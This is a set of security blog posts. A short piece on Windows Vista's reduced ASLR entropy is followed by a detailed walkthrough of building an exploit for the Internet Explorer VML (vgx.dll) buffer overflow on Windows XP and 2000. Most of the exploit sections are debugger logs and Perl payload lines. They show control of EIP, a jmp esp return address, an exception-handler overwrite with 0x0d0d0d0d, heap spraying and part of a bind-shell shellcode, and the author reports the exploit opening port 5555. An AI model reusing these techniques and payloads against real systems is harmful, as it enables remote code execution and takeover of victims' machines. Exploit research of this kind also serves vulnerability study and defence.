Trirat Kira P.

But before the final version of Vista will be released, Ali Rahbar from Sysdream had analyzed Vista’s ASLR and he found some flaw in it.

But 32 possibilities is not much, and for buffer overflow exploitation, in some situations it is really feasible to do a brute force on the 32 possible values. But why has Microsoft used only 32 out of 256 possibilities

The flaw is that M$ use 8 bits in the randomization. Instead they use all of 8 bits, they just used 5 bits – 256 possibilities compare with 32 possibilities. This will let the attacker bruteforce easier than it should be. The original article can be found here Analysis-of-Microsoft-Windows-Vista’s-ASLR

From the attacker’s point of view, this flaw degrade the protection of Vista. In Vista, the attacker have to faced with ASLR, DEP, /GS and /SAFESEH. It is quite difficult to break all of these protections to gain the code execution. However, if they can overcome ASLR which is an important one, things will become more easier.

Trirat Kira Puttaraksa

I think that this bug was fixed in past 2 months, however, I’m wrong. The public exploit is released from Metasploit project on Sep 26 and it can successful exploit on XP SP0 – SP2 with IE 6 SP1 and it should work for 2K and 2K3.

This bug should not be 0-day if guys from M$ had read H D M blog (or they had already read, but ignore it, lol)

At the first time, I decide the release the article at Oct 10. But there is someone already publish the exploit, so there is no means to still keep it private.

Last article, I had described that my method can’t be used to exploit XP SP2. But things change because Niega give me some information that he could produce some error that different from the old one.

This exception may be expected and handled.
eax=0013be58 ebx=001cc564 ecx=0013be4c edx=00000041 esi=000020d4 edi=00140000
eip=6f9eed1e esp=0013be34 ebp=0013c05c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program\Delade filer\Microsoft Shared\VGX\vgx.dll -
vgx!$DllMain$_gdiplus+0x30e8d:
6f9eed1e 668917 mov word ptr [edi],dx ds:0023:00140000=6341

IE crashes, but not with the security cookie checking failure. This is the interesting one, may be I can made the code execution from this (the reason why I’m give up to find the way to made the exploit work on XP SP2 because there is others can do it). Niega said that he produce the error by overwrite the stack massively. I reproduce the error by create the attack vector like this:

…
$page = $page . “\x41\x41\x41\x41″ x 65535;
…

It gives the same result:

(538.590): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling
This exception may be expected and handled.eax=0013be5c ebx=03148f2c ecx=0013be50 edx=00004141 esi=000020d2 edi=00140000eip=5deded1e esp=0013be38 ebp=0013c060 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0×38:
5deded1e 668917 mov [edi],dx ds:0023:00140000=6341

I look into the error to find the point that can lead to the code execution, but not found the interesting one. However, when I close WinDBG and open it again, something that I’m looking for is happened:

(538.590): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013bfe0 ebx=0447a034 ecx=0013bfd4 edx=00004141 esi=00002010 edi=00140000
eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0×38:
5deded1e 668917 mov [edi],dx ds:0023:00140000=6341
0:000> g
(538.590): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000
eip=41414141 esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???

Hey !!? eip jumps to address 0×41414141 – the value that we can control. Then I open my first version exploit, remove the heap spraying code section and modify the attack vector to this:

$page = $page . “\x0d\x0d\x0d\x0d” x 65535;

This is the result:

This exception may be expected and handled.
eax=0013bfe0 ebx=0334007c ecx=0013bfd4 edx=00000d0d esi=00002010 edi=00140000
eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0×38:
5deded1e 668917 mov [edi],dx ds:0023:00140000=6341
0:000> g
(bc.148): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0d0d0d0d ?? ???

(I have to close WinDBG and open it again everytime to produce this result, I don’t know why ? If you know, plz tell me, lol)

Now we can control eip completely on XP SP2. I just enable the heap spraying code section again and use IE browse the exploit page. I see that IE is not crashed and my machine has opened port 5555 – the exploit success ^-^. I test it again without the debugger and it’s also OK – the exploit work with a little modification !!! Thanks Niega

Now, I will investigate deeply why a little modification can give me a big result. At the point IE crashes, I execute a single instruction at time:

0:000> p
eax=0013bfe0 ebx=0335007c ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000
eip=7c90eaf0 esp=0013bccc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!KiUserExceptionDispatcher+0×4:
7c90eaf0 8b1c24 mov ebx,[esp] ss:0023:0013bccc=0013bcd4
…
7c90eaf5 e8c78c0200 call ntdll!RtlDispatchException (7c9377c1)
0:000> p
(9d8.5e0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0d0d0d0d ?? ???

IE calls ntdll!RtlDispatchException – 0x7c9377c1 – before it jump into 0x0d0d0d0d. This give me some clue that the massive bytes 0x0d will overwrite to some exception handler. I set breakpoint at 0x7c9377c1 to see more details:

Breakpoint 1 hit
eax=0013bfe0 ebx=0013bcd4 ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000
eip=7c9377c1 esp=0013bcc0 ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException:
7c9377c1 8bff mov edi,edi
0:000> p
…
ntdll!RtlDispatchException+0xac:
7c93785b e8f3befcff call ntdll!RtlpExecuteHandlerForException (7c903753)
0:000> bp 7c903753
0:000> p
Breakpoint 2 hit
eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c90eb94 esi=0013bcd4 edi=00140000
eip=7c903753 esp=0013bc34 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpExecuteHandlerForException:
7c903753 bad837907c mov edx,0x7c9037d8

Now it call ntdll!RtlpExecuteHandlerForException.

…
0:000> p
eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c9037d8 esi=0013bcd4 edi=00140000
eip=7c903758 esp=0013bc34 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpExecuteHandlerForException+0×5:
7c903758 eb0d jmp ntdll!ExecuteHandler (7c903767)
…
ntdll!ExecuteHandler+0x1f:
7c903786 e80e000000 call ntdll!ExecuteHandler2 (7c903799)
0:000> bp 7c903799
0:000> p
Breakpoint 3 hit
eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000
eip=7c903799 esp=0013bc10 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
7c903799 55 push ebp

Then call ntdll!ExecuteHandler2.

…
eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000
eip=7c9037ba esp=0013bbf0 ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0×21:
7c9037ba 8b4d18 mov ecx,[ebp+0x18] ss:0023:0013bc24=0d0d0d0d
0:000> p
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=7c9037bd esp=0013bbf0 ebp=0013bc0c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0×24:
7c9037bd ffd1 call ecx {0d0d0d0d}

As you can see, ecx is set to 0x0d0d0d0d at instruction address 0x7c9037ba. Then, the instruction “call ecx” is executed so the flow of execution will jump to 0x0d0d0d0d.

At the time I write this article, This exploit is still 0-day, there is no patch. I decide to write this exploit because I just wanna to know that which platform is exploitable. Xsec’s exploit show that W2k platform is exploitable, so I decide to work with XP platform.

I use Shirkdog’s PoC as the starting point to see how IE crash. This is the result:

(6ec.6f0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00310030 ebx=ffffff88 ecx=0013bec4 edx=001832cc esi=00000000 edi=00000000

eip=5acc2794 esp=0013bec0 ebp=0013c0d4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:00310030=00000000

The access violation occurs at 0x5acc2794 because of writing to the address that eax point to – 0×00310030. I look at the code and found that it is at last 2nd byte at the “method”:

…
v:fill method=”AAAAAAAAAAAAA…BCD01” …
…

The byte 0×31 is 1 and 0×30 is 0. I confirm this by change the “method” to be like this:

…
v:fill method=”AAAAAAAAAAAAA…BCDFF” …
…

This is the result:

vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:00460046=????????

As you can see, we can control eax partially. There is the byte 0×00 between each character. I recognize this quickly – if I wanna to control eax completely, I have to create HTML file in unicode file format (If you wanna to know why I recoginize it quickly, you can read this post “Heap Spraying: Internet Exploiter”. I had been got stuck about this 2 hours, lol).I create a simple perl script to generate the HTML file in unicode format. This is a part of code that trigger the access violation:

…
$page = $page . “\x41\x00″ x 256 . “\xaa\xaa\xaa\xaa”;
…

Then I use IE browse the page generated by this script:

eax=aaaaaaaa ebx=ffffff88 ecx=0013c034 edx=001efffc esi=00000000 edi=00000000
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:aaaaaaaa=????????

Yez, I can control eax completely. But the next problem is what’s the value of eax that I should set ? It has to be the writable memory. Because I have not much time to find the good one, I decide to write it to 0x77fc3210 – Pointer to First Vectored Handler in XP. This is the result:

Breakpoint 0 hit
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi ds:0023:77fc3210=00000000
0:000> u
vgx!_IE5_SHADETYPE_TEXT::Text+0×81:
5acc2794 8938 mov dword ptr [eax],edi
5acc2796 b001 mov al,1
5acc2798 5f pop edi
5acc2799 eb02 jmp vgx!_IE5_SHADETYPE_TEXT::Text+0x8a (5acc279d)
5acc279b 32c0 xor al,al
5acc279d c9 leave
5acc279e c20800 ret 8
vgx!_IE5_SHADETYPE_TEXT::Save:
5acc27a1 55 push ebp
0:000> p
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000
eip=5acc2796 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
vgx!_IE5_SHADETYPE_TEXT::Text+0×83:
5acc2796 b001 mov al,1

The access violation doesn’t occur at 0x5acc2749. This means that 0x77fc3210 is writable. I continue run WinDBG:

eax=00000000 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00039a28 edi=001f5ec4
eip=00000000 esp=00130008 ebp=00000000 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
00000000 ?? ???

The access violation occurs again, but eip points to 0×00000000 in this time. To see more details, I modify my perl script:

…
$page = $page . “\x41\x00″ x 256 . “\x10\x32\xfc\x77” . “\xaa\xaa\xaa\xaa” x 64;
…

This is the result when I browse the page with IE:

eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001efdb4 esi=00000000 edi=001efdb4
eip=aaaaaaaa esp=0013c254 ebp=aaaaaaaa iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
aaaaaaaa ??

We can control eip completely !!! This is a simple stack-based buffer overflow vulnerability – easy to exploit . After I have found that the offset that overwrite eip is the 2nd of 4 bytes “\xaa\xaa\xaa\xaa”, I plan to layout the exploit code like this:

…
$page = $page . “\x41\x00″ x 256 .
“\x10\x32\xfc\x77” . # writable memory
“\x44\x44\x44\x44″. # padding
“\xaa\xaa\xaa\xaa” . # return address
“\x90\x90\x90\x90” x 16 . # padding
“\xcc\xcc\xcc\xcc”; # shellcode “break instruction”
…

I intend to set the return address to 0xaaaaaaaa to locate our shellcode when IE crash:

eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f3ec4 esi=00000000 edi=001f3ec4
eip=aaaaaaaa esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
aaaaaaaa ?? ???
0:000> dd esp
0013c254 90909090 90909090 90909090 90909090
0013c264 90909090 90909090 90909090 90909090
0013c274 90909090 90909090 90909090 90909090
0013c284 90909090 90909090 cccccccc 00000000

Wow, our shellcode is in stack. Just change 0xaaaaaaaa to the address of instruction “jmp esp”, our shellcode will be executed. I use Metasploit’s Opcode Database to find such a address – 0x71ab7bfb (XP SP0 + SP1, ws2_32.dll). I change 0xaaaaaaaa to 0x71ab7bfb and use IE browse the page:

(144.56c): Break instruction exception – code 80000003 (first chance)
eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f6ec4 esi=00000000 edi=001f6ec4
eip=0013c28c esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
0013c28c cc int 3
0:000> u eip – 0×4
0013c288 90 nop
0013c289 90 nop
0013c28a 90 nop
0013c28b 90 nop
0013c28c cc int 3
0013c28d cc int 3
0013c28e cc int 3
0013c28f cc int 3

Ha ha, our shellcode is executed. The last part of this is just change the shellcode “break instruction” to the real shellcode – port 5555 binding (Metasploit) shellcode in this case – and test it (don’t forget that the length of shellcode must be even numbers because our file format is unicode 16). But the problem still exists – shellcode doesn’t run correctly. I look at the point that my shellcode crash:

(5fc.1b0): Illegal instruction – code c000001d (first chance)
(5fc.1b0): Illegal instruction – code c000001d (!!! second chance !!!)
eax=77fc331d ebx=fffffe88 ecx=0013c033 edx=002236a4 esi=00000000 edi=002236a4
eip=005f0029 esp=0013c24c ebp=44444443 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293
005f0029 ff ???
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0013c248 0013c276 ffffffeb 90909090 90909090 0x5f0029
…
0:000> dd 0013c276 – 0×12
0013c264 90909090 90909090 eb6afc90 fff9e84d
0013c274 8b60003f 8b24246c 7c8b3c45 ef017805
….
0:000> u 0013c276 – 0×12
0013c264 90 nop
0013c265 90 nop
0013c266 90 nop
0013c267 90 nop
0013c268 90 nop
0013c269 90 nop
0013c26a 90 nop
0013c26b 90 nop
0:000> u
0013c26c 90 nop
0013c26d fc cld
0013c26e 6aeb push 0FFFFFFEBh
0013c270 4d dec ebp
0013c271 e8f9ff3f00 call 0053c26f
0013c276 60 pushad
0013c277 8b6c2424 mov ebp,dword ptr [esp+24h]

Illegal instruction ? This is the shellcode:

“\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45″.
…

Our bytes in shellcode has been changed, from 0xffff to 0x3f00. How could this happen ? I put “\xff\xff\xff\xff” as the shellcode and test again:

eax=77fc300b ebx=ffffff88 ecx=0013c034 edx=001e76c4 esi=00000000 edi=001e76c4
eip=0013c271 esp=0013c254 ebp=44444444 iopl=0 ov up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010a96
0013c271 004b05 add byte ptr [ebx+5],cl ds:0023:ffffff8d=??
0:000> dd eip – 0×12
0013c25f 90909090 90909090 90909090 3f003f90
0013c26f 4b000000 00800005 00800000 00000000
…

I get the same result. The bytes 0xffff is converted to 0x3f00 automatically. I can’t use the shellcode that contains bytes 0xffff. This is not flexible, so I have to find the other way to inject my shellcode into memory.

Then the heap spraying technique comes into my mind. I browses the exploit that use SkyLined’s heap spraying techqniue (the concept of this technique is that you inject the nop + shellcode into the heap memory and use some method to trick the eip jump into that heap – for more detail plz see Heap Spraying: Introduction) and I’ve found that the shellcode in these exploits can contain the bytes 0xffff. Then, I add the javascript code that inject our heap into the memory and test it to ensure that the heaps contain our shellcode.

0:000> dd 0d0d0000
0d0d0000 90909090 90909090 90909090 90909090
0d0d0010 90909090 90909090 90909090 90909090
…
0:000> dd 0d0d0d00
0d0d0d00 00000090 90909000 90909090 90909090
0d0d0d10 90909090 90909090 90909090 90909090
…
0:000> dd 0d0d0d0d
0d0d0d0d 90909090 90909090 90909090 90909090
0d0d0d1d 90909090 90909090 90909090 90909090
…

Then I modify the attack vector:

…
$page = $page . “\x41\x00” x 256 . # padding
“\x01\x0d\x0d\x0d” # writable memory
“\x44\x44\x44\x44” # padding
“\x0d\x0d\x0d\x0d” # return address
…

Because I inject the heaps until the address 0x0d0dxxxx become valid, so I can do anything with these address. First of all, I change the writeable address memory from 0x77fc3210 to 0x0d0d0d01 becauses the first one doesn’t work in W2K system. Writing to the address 0x0d0d0d01 is also possible because it is writable memory. For eip, I tell it jump into 0x0d0d0d0d – our shellcode. I test it and there is no problem ^-^. This 0-day is really fun to implement.

P.S. I also test the exploit with W2K and it still work without to change the return address

P.S. For XP SP2 (the most wanted, lol), the problem is that it has stack protection mechanism. The situation that can break the stack protection – we can write to any memory location that we want with our value – doesn’t occur even though this occurs in SP1, unlucky. However I’ve seen the movie that show the exploitation on XP SP2, this means that there is someway to exploit it but not with the method I use.